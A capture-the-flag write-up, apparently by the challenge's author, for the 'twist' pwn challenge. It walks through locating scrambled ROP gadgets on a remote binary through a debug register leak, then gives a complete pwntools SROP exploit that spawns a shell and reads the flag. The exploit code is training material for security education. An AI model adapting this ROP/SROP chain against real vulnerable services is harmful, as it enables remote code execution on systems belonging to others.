# twist
## Description
Did you play twist at ICC? We did. 
0.cloud.chals.io:13658
Author: [v10l3nt](https://www.tjoconnor.org/vita)
## Files
* [twist](https://github.com/tj-oconnor/cyber-open-2022/tree/main/pwn/twist/files/twist)
## Solution
Running the binary produces the following output 
```--------------------------------------------------------------------------------------------     Welcome to Twist v2.0. Some file contents may have shifted on upload.                  --------------------------------------------------------------------------------------------     Debug Mode Enabled; calling 0x401385--------------------------------------------------------------------------------------------    (nil) | 0x401490 |    (nil) |    (nil) |    (nil) |     0x2d--------------------------------------------------------------------------------------------     You can dance in a hurricane but only if you are standing in the eye >>> ```
The critical thing to observe here is that the binary is most likely different on the local and remote hosts.
**Some file contents may have shifted on upload.**
The binary contains a series of functions containing ROP gadgets for ``[pop rax; ret], [pop rbx; ret], [pop rcx; ret], [pop rdx; ret], [syscall; ret], [pop rdi; ret], [pop rsi; ret],`` When dissassembled each of these functions looks similar 
```[local version of twist]00401373  55                 push    rbp {var_8}00401374  4889e5             mov     rbp, rsp00401377  5f                 pop     rdi {var_8}00401378  c3                 retn     0040137a  5d                 pop     rbp {__return_addr}0040137b  c3                 retn     ```
Why are there two returns? Probably because the challenge author (myself) wrote it something like this in C. We can probably take advantage of that later. 
```void pop_rdi() {    asm("pop %rdi; ret;");}```
We see that we have both ``pop rax; ret`` and ``syscall; ret`` setting conditions for an SROP exploit. So we quickly write a [local exploit for twist](https://github.com/tj-oconnor/cyber-open-2022/blob/main/pwn/twist/pwn-twist-local.py). The basis of that exploit is just building a malicious SigreturnFrame like below. 
```pythondef srop_exec():    chain = p64(pop_rax)    chain += p64(0xf)    chain += p64(syscall_ret)
    frame = SigreturnFrame(arch="amd64", kernel="amd64")    frame.rax = constants.SYS_execve    frame.rdi = bin_sh    frame.rip = syscall_ret
    return chain+bytes(frame)```
However, throwing this exploit at the server fails, and we are reminded
**Some file contents may have shifted on upload.**
So we can examine where the local and remote binaries are probably different. Our first hint comes by examining some information the program leaks. We notice that both the remote and local versions of the binary produce the following static address leak: ``Debug Mode Enabled; calling 0x401385``. Since this function comes after the address space of all the gadgets, we can assume the challenge author (myself) scrambled the order of the gadgets. From ``pop rax; ret`` at ``0x00401349`` to ``debug_mode`` at ``0x401385`` is only 0x3c (60) bytes. A less elegant solution could try 60 x 60 = 3,600 different attempts for the ``pop rax; ret`` and ``syscall; ret`` and see which one lands our SROP exploit. However, since we included a ``debug_mode()`` that prints the output of the registers, we write a small script to use ``debug_mode()``.
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary,checksec=False)
gs = '''continue'''
def start():    if args.GDB:        return gdb.debug(e.path, gdbscript=gs)    elif args.REMOTE:        return remote('0.cloud.chals.io', 13658, level="error")    else:        return process(e.path, level="error")
def debug_mode(gadget):    p = start()    pad = cyclic(16)
    chain = p64(0x401016)  # ret    chain += p64(gadget)   # gadget     chain += p64(0x1337)   # value    chain += p64(0x401446) # call debug_mode
    p.recvuntil(b'Debug Mode Enabled')    p.recvline()    p.recvline()    p.recvline()    p.recvline()
    p.sendline(pad+chain)    p.recvline()    info("%s" %p.recvline().decode())
pop_rax = e.sym['pop_rax']+0x4debug_mode(pop_rax)```
Testing locally produces the following output when we call the ``pop_rax; ret`` gadget and place ``0x1337`` on the stack. This appropriately results in ``rax`` being set to ``0x1337``. 
```$ python3 test.py BIN=./twist[*]    0x1337 | 0x401490 | 0x7fd0168a59a0 |    (nil) | 0x7fd0168a8680 | 0x1bdd6b1```
Running the same script remotely produces different output, where now the ``rbx`` register is set to ``0x1337`` 
```$ python3 test.py BIN=./twist REMOTE[*]     (nil) |   0x1337 | 0x7fd0674f89a0 |    (nil) | 0x7fd0674fb680 | 0x7fd0674f8a23```
Ok, we confirmed our hypothesis that the gadgets just got scrambled. Now we need to find where ``pop rax; ret`` resides in the remote binary by testing the address space from the local binary addreses of the functions ``pop_rax()`` to ``debug_mode()``. So we write a script that tests these addresses and identifies the following addresses that also do not segfault. At this point, we have the addresses for gadgets for ``pop r(ax|bx|cx|dx|di|si); ret``. But we do not have the ``syscall ret``. Arguably at this point, we could try our exploit with the 59 potential addresses for ``syscall; ret`` and walk away. But let us continue.
```[remote version of twist][*] Starting pop rax gadget search between 0x401349 to 0x401385[*] Gadget [0x401349]: pop rbx; ret[*] Gadget [0x40134b]: [b'    (nil) ', b' 0x401490 ', b' 0x7fb56d8f49a0 ', b'    (nil) ', b' 0x7fb56d8f7680 ', b' 0x7fb56d8f4a23\n'][*] Gadget [0x40134c]: [b'    (nil) ', b' 0x401490 ', b' 0x7f8f6e4b09a0 ', b'    (nil) ', b' 0x7f8f6e4b3680 ', b' 0x7f8f6e4b0a23\n'][*] Gadget [0x401355]: [b'    (nil) ', b' 0x401490 ', b' 0x7f3ed7c289a0 ', b'    (nil) ', b' 0x7f3ed7c2b680 ', b' 0x7f3ed7c28a23\n'][*] Gadget [0x401356]: [b'    (nil) ', b' 0x401490 ', b' 0x7f8e9323d9a0 ', b'    (nil) ', b' 0x7f8e93240680 ', b' 0x7f8e9323da23\n'][*] Gadget [0x401359]: pop rdi; ret[*] Gadget [0x40135a]: pop rdi; ret[*] Gadget [0x40135c]: pop rdi; ret[*] Gadget [0x40135e]: [b'    (nil) ', b' 0x401490 ', b' 0x7f27029fb9a0 ', b'    (nil) ', b' 0x7f27029fe680 ', b' 0x7f27029fba23\n'][*] Gadget [0x40135f]: [b'    (nil) ', b' 0x401490 ', b' 0x7fcd8bd309a0 ', b'    (nil) ', b' 0x7fcd8bd33680 ', b' 0x7fcd8bd30a23\n'][*] Gadget [0x401362]: pop rcx; ret[*] Gadget [0x401363]: pop rcx; ret[*] Gadget [0x401365]: pop rcx; ret[*] Gadget [0x401367]: [b'    (nil) ', b' 0x401490 ', b' 0x7fa06dd739a0 ', b'    (nil) ', b' 0x7fa06dd76680 ', b' 0x7fa06dd73a23\n'][*] Gadget [0x401368]: [b'    (nil) ', b' 0x401490 ', b' 0x7f04456d49a0 ', b'    (nil) ', b' 0x7f04456d7680 ', b' 0x7f04456d4a23\n'][*] Gadget [0x40136b]: pop rax; ret[*] Gadget [0x40136c]: pop rax; ret[*] Gadget [0x40136e]: pop rax; ret[*] Gadget [0x401370]: [b'    (nil) ', b' 0x401490 ', b' 0x7fbab0fa79a0 ', b'    (nil) ', b' 0x7fbab0faa680 ', b' 0x7fbab0fa7a23\n'][*] Gadget [0x401371]: [b'    (nil) ', b' 0x401490 ', b' 0x7fecec5949a0 ', b'    (nil) ', b' 0x7fecec597680 ', b' 0x7fecec594a23\n'][*] Gadget [0x401374]: pop rdx; ret[*] Gadget [0x401375]: pop rdx; ret[*] Gadget [0x401377]: pop rdx; ret[*] Gadget [0x401379]: [b'    (nil) ', b' 0x401490 ', b' 0x7f25f7d9b9a0 ', b'    (nil) ', b' 0x7f25f7d9e680 ', b' 0x7f25f7d9ba23\n'][*] Gadget [0x40137a]: [b'    (nil) ', b' 0x401490 ', b' 0x7f1b7e64b9a0 ', b'    (nil) ', b' 0x7f1b7e64e680 ', b' 0x7f1b7e64ba23\n'][*] Gadget [0x40137d]: pop rsi; ret[*] Gadget [0x40137e]: pop rsi; ret[*] Gadget [0x401380]: pop rsi; ret[*] Gadget [0x401382]: [b'    (nil) ', b' 0x401490 ', b' 0x7fa92bdd49a0 ', b'    (nil) ', b' 0x7fa92bdd7680 ', b' 0x7fa92bdd4a23\n'][*] Gadget [0x401383]: [b'    (nil) ', b' 0x401490 ', b' 0x7f9ed17639a0 ', b'    (nil) ', b' 0x7f9ed1766680 ', b' 0x7f9ed1763a23\n']--------------------------------------------------------------------------------------------```
It appears as if three addresses successfully populate each register. Remembering the earlier disassembly of our local binary, we see the following gadgets that can come out of each function. We see thre gadgets that will ``pop rdi; ret``;  followed by two ``pop rbp; ret`` gadgets. 
```[local version of twist]00401373  55                 push    rbp {var_8}00401374  4889e5             mov     rbp, rsp [*]--------->[*] Gadget [0x401374]: mov rbp; rsp; pop rdi; ret;---------------------------------------------------------->[*] Gadget [0x401375]: mov ebp, esp; pop rdi; ret;00401377  5f                 pop     rdi {var_8}---------->[*] Gadget [0x401377]: pop rdi; ret;00401378  c3                 retn------------------------->[*] Gadget [0x40137a]: ret; pop rbp; ret; 0040137a  5d                 pop     rbp {__return_addr})->[*] Gadget [0x40137b]: pop rbp; ret;0040137b  c3                 retn     					 ```
But what about this output? Why does ``pop rbx; ret`` have four successive ``pop rbp; ret`` gadgets instead of two successive like the others? It is probably because the ``pop rbp; ret`` gadgets are from the ``syscall_ret()`` function. We can test this on the local binary to confirm, and see syscall_ret gadget. 
```[local version of twist][*] Gadget [0x401364]: pop rdx; ret[*] Gadget [0x401366]: [b'    (nil) ', b' 0x401490 ', b' 0x7f7cf16f69a0 ', b'    (nil) ', b' 0x7f7cf16f9680 ', b' 0xd916b1\n'][*] Gadget [0x401367]: [b'    (nil) ', b' 0x401490 ', b' 0x7f43d89d89a0 ', b'    (nil) ', b' 0x7f43d89db680 ', b' 0xbe66b1\n']-------> address of syscall; ret gadget == 0x40136d[*] Gadget [0x401370]: [b'    (nil) ', b' 0x401490 ', b' 0x7f74f2e459a0 ', b'    (nil) ', b' 0x7f74f2e48680 ', b' 0x12626b1\n'][*] Gadget [0x401371]: [b'    (nil) ', b' 0x401490 ', b' 0x7f5ebd1c49a0 ', b'    (nil) ', b' 0x7f5ebd1c7680 ', b' 0xe296b1\n'][*] Gadget [0x401374]: pop rdi; ret```
Finally, we can go ahead and automate our solution, we will loop the 60 bytes of address space betwen the local binary addresses of ``pop_rax()`` to the static ``debug_mode()`` address and try to resolve our ``pop_rax; ret`` and ``syscall; ret`` gadgets; then throw our original SROP exploit. Note, we made the assumption ``/bin/sh\0`` did not move. If that did not work, next step would have been to go back and make a new ``/bin/sh\0`` with all of our newly discovered gadgets, by reading ``/bin/sh\0`` into writeable memory with a ``syscall_READ`` (using all our discovered gadgets.) Our script produces the following output and flag.
```$ python3 pwn-twist.py BIN=./twist REMOTE[*] Starting pop rax gadget search between 0x401349 to 0x401385... snipped..[*] [pop rax; ret] discovered at 0x40136e[*] [syscall; ret] discovered at 0x401352[*] [/bin/sh] discovered at 0x40289e--------------------------------------------------------------------------------------------    (nil) | 0x401490 |    (nil) |    (nil) | 0x7f018c98d670 | 0x7ffce1930910--------------------------------------------------------------------------------------------     You can dance in a hurricane but only if you are standing in the eye >>> $ cat flag.txtuscg{a_dr0p_1n_th3_0c3an_has_0_fe3r_0f_hurr1can3s}```
Our full working exploit follows:
```pythondfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)
gs = '''continue'''
def start():    if args.GDB:        return gdb.debug(e.path, gdbscript=gs)    elif args.REMOTE:        return remote('0.cloud.chals.io', 13658, level="error")    else:        return process(e.path, level="error")
''' debug mode prints out  rax | rbx | rcx | rdx | rdi | rsi '''
def gadget_finder(s):    regs = s.split(b'|')    if b'0x1337' in regs[0]:        return 'pop rax; ret'    elif b'0x1337' in regs[1]:        return 'pop rbx; ret'    elif b'0x1337' in regs[2]:        return 'pop rcx; ret'    elif b'0x1337' in regs[3]:        return 'pop rdx; ret'    elif b'0x1337' in regs[4]:        return 'pop rdi; ret'    elif b'0x1337' in regs[5]:        return 'pop rsi; ret'    else:        return regs
def find_pop_rax():
    pop_rax = 0x0    syscall_ret = 0x0    pop_rbp_ret = 0x0
    ''' loop from first gadget to debug mode '''    for gadget in range(gadgets_start, debug_mode):        try:            p = start()            pad = cyclic(16)
            ''' chain to display gadgets       align stack, call gadget, test val, call debug '''
            chain = p64(0x401016)            chain += p64(gadget)            chain += p64(0x1337)            chain += p64(0x401446)
            ''' parse out program output '''            p.recvuntil(b'Debug Mode Enabled')            p.recvline()            p.recvline()            p.recvline()            p.recvline()
            ''' send gadget test and receive outpt'''            p.sendline(pad+chain)            p.recvline()            gadget_result = gadget_finder(p.recvline())            info("Gadget [%s]: %s" % (hex(gadget), gadget_result))             if 'pop rax; ret' in gadget_result:                pop_rax = gadget
            if 'pop' in gadget_result:                pop_rbp_ret = 0            else:                pop_rbp_ret+=1            if (pop_rbp_ret==3):                syscall_ret = gadget - 0x3        except:
            pass    return pop_rax, syscall_ret
def srop_exec(pop_rax, bin_sh, syscall_ret):
    chain = p64(pop_rax)    chain += p64(0xf)    chain += p64(syscall_ret)
    frame = SigreturnFrame(arch="amd64", kernel="amd64")    frame.rax = constants.SYS_execve    frame.rdi = bin_sh    frame.rip = syscall_ret
    p = start()    pad = cyclic(16)    p.recvuntil(b'Debug Mode Enabled; calling ')    p.recvline()    p.sendline(pad+chain+bytes(frame))    p.interactive()
gadgets_start = e.sym['pop_rax']+4p = start()p.recvuntil(b'Debug Mode Enabled; calling ')debug_mode = int(p.recvline(), 16)p.close()
info("Starting pop rax gadget search between %s to %s" %(hex(gadgets_start),hex(debug_mode)))pop_rax,syscall_ret = find_pop_rax()
info("[pop rax; ret] discovered at %s" % hex(pop_rax))info("[syscall; ret] discovered at %s" % hex(syscall_ret))bin_sh = next(e.search(b'/bin/sh'))info("[/bin/sh] discovered at %s", hex(bin_sh))srop_exec(pop_rax ,bin_sh, syscall_ret)```